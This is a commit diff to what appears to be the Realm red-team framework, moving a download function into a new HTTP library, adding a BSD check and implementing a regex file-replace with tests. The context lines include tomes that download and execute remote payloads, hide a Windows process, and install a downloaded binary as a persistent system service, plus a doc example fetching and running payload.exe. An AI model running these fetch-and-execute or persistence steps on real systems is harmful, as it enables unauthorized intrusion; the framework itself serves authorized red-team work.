Moved file.download -> http.download, and added sys.is_bsd and file.replace for kyle

bin/golem_cli_test/download_test.tome

@@ -8,7 +8,7 @@ def download_stuff_test():
         print("Failure - OS not supported")
         return -1
 
-    file.download("https://github.com/spellshift/realm/releases/download/v0.0.1/imix-linux-x64",dest_path)
+    http.download("https://github.com/spellshift/realm/releases/download/v0.0.1/imix-linux-x64",dest_path)
     print("OKAY!")
     return 0
 

docs/_docs/dev-guide/eldritch.md

@@ -15,7 +15,7 @@ Eldritch is a Pythonic DSL for Red Team engagements. Eldritch is intended to pro
 The Eldritch tome could look like this:
 
 ```python
-file.download("http://fileserver.net/payload.exe", "C:/temp/")
+http.download("http://fileserver.net/payload.exe", "C:/temp/")
 sys.exec("C:/temp/payload.exe")
 ```
 
@@ -38,6 +38,7 @@ Currently Eldritch has eight libraries your function can be bound to:
 * `assets`: Is used to interact with files stored natively in the agent.
 * `crypto` Is used to encrypt/decrypt or hash data.
 * `file`: Is used for any on disk file processing.
+* `http`: Is used for any web requests needed to be made.
 * `pivot`: Is used to migrate to identify, and migrate between systems. The pivot library is also responsible for facilitating connectivity within an environment.
 * `process`: Is used to manage running processes on a system.
 * `regex`: Is used to preform regex operations on strings.
@@ -171,7 +172,7 @@ Lastly, you'll need to add your new function to the `eldritch/runtime.rs` integr
             file_names: Vec::new(),
         },
         // Add the name of your function to this list, in alphabetical order
-        want_output: String::from(r#"["append", "compress", "copy", "download", "exists", "find", "follow", "is_dir", "is_file", "list", "mkdir", "moveto", "read", "remove", "replace", "replace_all", "template", "timestomp", "write"]"#),
+        want_output: String::from(r#"["append", "compress", "copy", "exists", "find", "follow", "is_dir", "is_file", "list", "mkdir", "moveto", "read", "remove", "replace", "replace_all", "template", "timestomp", "write"]"#),
         want_error: None,
     }
 ```

docs/_docs/user-guide/eldritch.md

@@ -255,12 +255,6 @@ The <b>file.compress</b> method compresses a file using the gzip algorithm. If t
 
 The <b>file.copy</b> method copies a file from `src` path to `dst` path. If `dst` file doesn't exist it will be created.
 
-### file.download
-
-`file.download(uri: str, dst: str) -> None`
-
-The <b>file.download</b> method downloads a file at the URI specified in `uri` to the path specified in `dst`. If a file already exists at that location, it will be overwritten. This currently only supports `http` & `https` protocols.
-
 ### file.exists
 
 `file.exists(path: str) -> bool`
@@ -374,7 +368,7 @@ The <b>file.remove</b> method deletes a file or directory (and it's contents) sp
 
 `file.replace(path: str, pattern: str, value: str) -> None`
 
-Unimplemented.
+The <b>file.replace</b> method finds the first string matching a regex pattern in the specified file and replaces them with the value.
 
 ### file.replace_all
 
@@ -418,6 +412,16 @@ The <b>file.find</b> method finds all files matching the used parameters. Return
 
 ---
 
+## HTTP
+
+### http.download
+
+`http.download(uri: str, dst: str) -> None`
+
+The <b>http.download</b> method downloads a file at the URI specified in `uri` to the path specified in `dst`. If a file already exists at that location, it will be overwritten.
+
+---
+
 ## Pivot
 
 ### pivot.arp_scan
@@ -879,6 +883,12 @@ For users, will return name and groups of user.
 
 The <b>sys.hostname</b> method returns a String containing the host's hostname.
 
+### sys.is_bsd
+
+`sys.is_bsd() -> bool`
+
+The <b>sys.is_bsd</b> method returns `True` if on a `freebsd`, `netbsd`, or `openbsd` system and `False` on everything else.
+
 ### sys.is_linux
 
 `sys.is_linux() -> bool`

implants/lib/eldritch/src/file/mod.rs

@@ -1,7 +1,6 @@
 mod append_impl;
 mod compress_impl;
 mod copy_impl;
-mod download_impl;
 mod exists_impl;
 mod find_impl;
 mod follow_impl;
@@ -89,12 +88,6 @@ fn methods(builder: &mut MethodsBuilder) {
         Ok(NoneType{})
     }
 
-    #[allow(unused_variables)]
-    fn download(this: &FileLibrary, uri: String, dst: String) -> anyhow::Result<NoneType> {
-        download_impl::download(uri, dst)?;
-        Ok(NoneType{})
-    }
-
     #[allow(unused_variables)]
     fn exists(this: &FileLibrary, path: String) -> anyhow::Result<bool> {
         exists_impl::exists(path)

implants/lib/eldritch/src/file/replace_impl.rs

@@ -1,5 +1,84 @@
 use anyhow::Result;
+use regex::{NoExpand, Regex};
+use std::fs::{read_to_string, write};
 
-pub fn replace(_path: String, _pattern: String, _value: String) -> Result<()> {
-    unimplemented!("Method unimplemented")
+pub fn replace(path: String, pattern: String, value: String) -> Result<()> {
+    let file_contents = read_to_string(path.clone())?;
+    let re = Regex::new(&pattern)?;
+    let result = re.replace(&file_contents, NoExpand(&value));
+    write(path, String::from(result))?;
+    Ok(())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use tempfile::NamedTempFile;
+
+    #[test]
+    fn test_replace_multiline() -> anyhow::Result<()> {
+        let tmp_file_new = NamedTempFile::new()?;
+        let path_new = String::from(tmp_file_new.path().to_str().unwrap()).clone();
+        let _ = write(
+            path_new.clone(),
+            "Match User anoncvs\nMatch User anoncvs\nMatch User anoncvs\n",
+        );
+
+        // Run our code
+        replace(
+            path_new.clone(),
+            String::from("Match"),
+            String::from("Not Match"),
+        )?;
+
+        let res = read_to_string(path_new)?;
+        assert_eq!(
+            res,
+            "Not Match User anoncvs\nMatch User anoncvs\nMatch User anoncvs\n"
+        );
+        Ok(())
+    }
+    #[test]
+    fn test_replace_regex_simple() -> anyhow::Result<()> {
+        let tmp_file_new = NamedTempFile::new()?;
+        let path_new = String::from(tmp_file_new.path().to_str().unwrap()).clone();
+        let _ = write(
+            path_new.clone(),
+            "Match User anoncvs\nMatch User anoncvs\nMatch User anoncvs\n",
+        );
+
+        // Run our code
+        replace(
+            path_new.clone(),
+            String::from(r".*Match.*"),
+            String::from("Not Match"),
+        )?;
+
+        let res = read_to_string(path_new)?;
+        assert_eq!(res, "Not Match\nMatch User anoncvs\nMatch User anoncvs\n");
+        Ok(())
+    }
+    #[test]
+    fn test_replace_regex_complex() -> anyhow::Result<()> {
+        let tmp_file_new = NamedTempFile::new()?;
+        let path_new = String::from(tmp_file_new.path().to_str().unwrap()).clone();
+        let _ = write(
+            path_new.clone(),
+            "MaxStartups 10:30:100\nListenAddress 0.0.0.0\nMaxAuthTries 6\nMatch User anoncvs\n",
+        );
+
+        // Run our code
+        replace(
+            path_new.clone(),
+            String::from(r"\d\.\d\.\d\.\d"),
+            String::from("127.0.0.1"),
+        )?;
+
+        let res = read_to_string(path_new)?;
+        assert_eq!(
+            res,
+            "MaxStartups 10:30:100\nListenAddress 127.0.0.1\nMaxAuthTries 6\nMatch User anoncvs\n"
+        );
+        Ok(())
+    }
 }

implants/lib/eldritch/src/http/mod.rs

@@ -0,0 +1,27 @@
+mod download_impl;
+
+use starlark::{
+    environment::MethodsBuilder,
+    starlark_module,
+    values::{none::NoneType, starlark_value},
+};
+
+/*
+ * Define our library for this module.
+ */
+crate::eldritch_lib!(HTTPLibrary, "http_library");
+
+/*
+ * Below, we define starlark wrappers for all of our library methods.
+ * The functions must be defined here to be present on our library.
+ */
+#[starlark_module]
+#[rustfmt::skip]
+#[allow(clippy::needless_lifetimes, clippy::type_complexity, clippy::too_many_arguments)]
+fn methods(builder: &mut MethodsBuilder) {
+    #[allow(unused_variables)]
+    fn download(this: &HTTPLibrary, uri: String, dst: String) -> anyhow::Result<NoneType> {
+        download_impl::download(uri, dst)?;
+        Ok(NoneType{})
+    }
+}

implants/lib/eldritch/src/lib.rs

@@ -1,6 +1,7 @@
 pub mod assets;
 pub mod crypto;
 pub mod file;
+pub mod http;
 pub mod pivot;
 pub mod process;
 pub mod regex;

implants/lib/eldritch/src/runtime/eval.rs

@@ -3,6 +3,7 @@ use crate::{
     assets::AssetsLibrary,
     crypto::CryptoLibrary,
     file::FileLibrary,
+    http::HTTPLibrary,
     pivot::PivotLibrary,
     process::ProcessLibrary,
     regex::RegexLibrary,
@@ -169,6 +170,7 @@ impl Runtime {
             const time: TimeLibrary = TimeLibrary;
             const report: ReportLibrary = ReportLibrary;
             const regex: RegexLibrary = RegexLibrary;
+            const http: HTTPLibrary = HTTPLibrary;
         }
 
         GlobalsBuilder::extended_by(&[

implants/lib/eldritch/src/runtime/mod.rs

@@ -89,7 +89,7 @@ mod tests {
                 parameters: HashMap::new(),
                 file_names: Vec::new(),
             },
-            want_text: format!("{}\n", r#"["append", "compress", "copy", "download", "exists", "find", "follow", "is_dir", "is_file", "list", "mkdir", "moveto", "read", "remove", "replace", "replace_all", "template", "timestomp", "write"]"#),
+            want_text: format!("{}\n", r#"["append", "compress", "copy", "exists", "find", "follow", "is_dir", "is_file", "list", "mkdir", "moveto", "read", "remove", "replace", "replace_all", "template", "timestomp", "write"]"#),
             want_error: None,
         },
         process_bindings: TestCase {
@@ -109,7 +109,7 @@ mod tests {
                 parameters: HashMap::new(),
                 file_names: Vec::new(),
             },
-            want_text: format!("{}\n", r#"["dll_inject", "dll_reflect", "exec", "get_env", "get_ip", "get_os", "get_pid", "get_reg", "get_user", "hostname", "is_linux", "is_macos", "is_windows", "shell", "write_reg_hex", "write_reg_int", "write_reg_str"]"#),
+            want_text: format!("{}\n", r#"["dll_inject", "dll_reflect", "exec", "get_env", "get_ip", "get_os", "get_pid", "get_reg", "get_user", "hostname", "is_bsd", "is_linux", "is_macos", "is_windows", "shell", "write_reg_hex", "write_reg_int", "write_reg_str"]"#),
             want_error: None,
         },
         pivot_bindings: TestCase {
@@ -172,6 +172,16 @@ mod tests {
             want_text: format!("{}\n", r#"["match", "match_all", "replace", "replace_all"]"#),
             want_error: None,
         },
+        http_bindings: TestCase {
+            id: 123,
+            tome: Tome {
+                eldritch: String::from("print(dir(http))"),
+                parameters: HashMap::new(),
+                file_names: Vec::new(),
+            },
+            want_text: format!("{}\n", r#"["download"]"#),
+            want_error: None,
+        },
     }
 
     #[tokio::test(flavor = "multi_thread", worker_threads = 128)]
@@ -182,7 +192,7 @@ mod tests {
             .clone()
             .replace('\\', "\\\\");
         let eldritch =
-            format!(r#"file.download("https://www.google.com/", "{path}"); print("ok")"#);
+            format!(r#"http.download("https://www.google.com/", "{path}"); print("ok")"#);
         let mut runtime = crate::start(
             123,
             Tome {

implants/lib/eldritch/src/sys/is_bsd_impl.rs

@@ -0,0 +1,12 @@
+use anyhow::Result;
+
+pub fn is_bsd() -> Result<bool> {
+    if cfg!(any(
+        target_os = "freebsd",
+        target_os = "netbsd",
+        target_os = "openbsd"
+    )) {
+        return Ok(true);
+    }
+    Ok(false)
+}

implants/lib/eldritch/src/sys/mod.rs

@@ -8,6 +8,7 @@ mod get_pid_impl;
 mod get_reg_impl;
 mod get_user_impl;
 mod hostname_impl;
+mod is_bsd_impl;
 mod is_linux_impl;
 mod is_macos_impl;
 mod is_windows_impl;
@@ -86,6 +87,11 @@ fn methods(builder: &mut MethodsBuilder) {
         hostname_impl::hostname()
     }
 
+    #[allow(unused_variables)]
+    fn is_bsd(this: &SysLibrary) -> anyhow::Result<bool> {
+        is_bsd_impl::is_bsd()
+    }
+
     #[allow(unused_variables)]
     fn is_linux(this: &SysLibrary) -> anyhow::Result<bool> {
         is_linux_impl::is_linux()

tavern/tomes/download_and_execute/main.eldritch

@@ -6,7 +6,7 @@ def get_parent_process(process_name):
 def download_and_execute(url):
     if sys.is_linux() or sys.is_macos():
         # Download
-        file.download(url, "./tmp")
+        http.download(url, "./tmp")
         sys.shell("chmod +x ./tmp")
         # Execute
         sys.exec("./tmp", [], True)
@@ -18,7 +18,7 @@ def download_and_execute(url):
             process.kill(ppid)
 
     elif sys.is_windows():
-        file.download(url, "./tmp.exe")
+        http.download(url, "./tmp.exe")
         sys.exec("powershell.exe", ["Start-Process -WindowStyle hidden ./tmp.exe"])
 
     else:

tavern/tomes/persist_service/main.eldritch

@@ -164,7 +164,7 @@ def systemd(service_name, service_desc, executable_path, executable_url):
     file.remove("/tmp/systemd.service.j2")
 
     # assets.copy("persist_service/files/payload.elf", executable_path)
-    file.download(executable_url, executable_path)
+    http.download(executable_url, executable_path)
     sys.shell("chmod +x "+executable_path)
 
     sys.shell("systemctl daemon-reload "+service_name)
@@ -184,7 +184,7 @@ def sysvinit(service_name, service_desc, executable_path, executable_url):
     sys.shell("chmod +x "+"/etc/init.d/"+service_name)
 
     # assets.copy("persist_service/files/payload.elf", executable_path)
-    file.download(executable_url, executable_path)
+    http.download(executable_url, executable_path)
     sys.shell("chmod +x "+executable_path)
 
     sys.shell("update-rc.d "+service_name+" defaults")
@@ -201,7 +201,7 @@ def launch_daemon(service_name, executable_path, executable_url):
     file.remove("/tmp/plist.j2")
 
     # assets.copy("persist_service/files/payload.macho", executable_path)
-    file.download(executable_url, executable_path)
+    http.download(executable_url, executable_path)
     sys.shell("chmod +x "+executable_path)
     sys.shell("launchctl load -w /Library/LaunchDaemons/sliver.plist")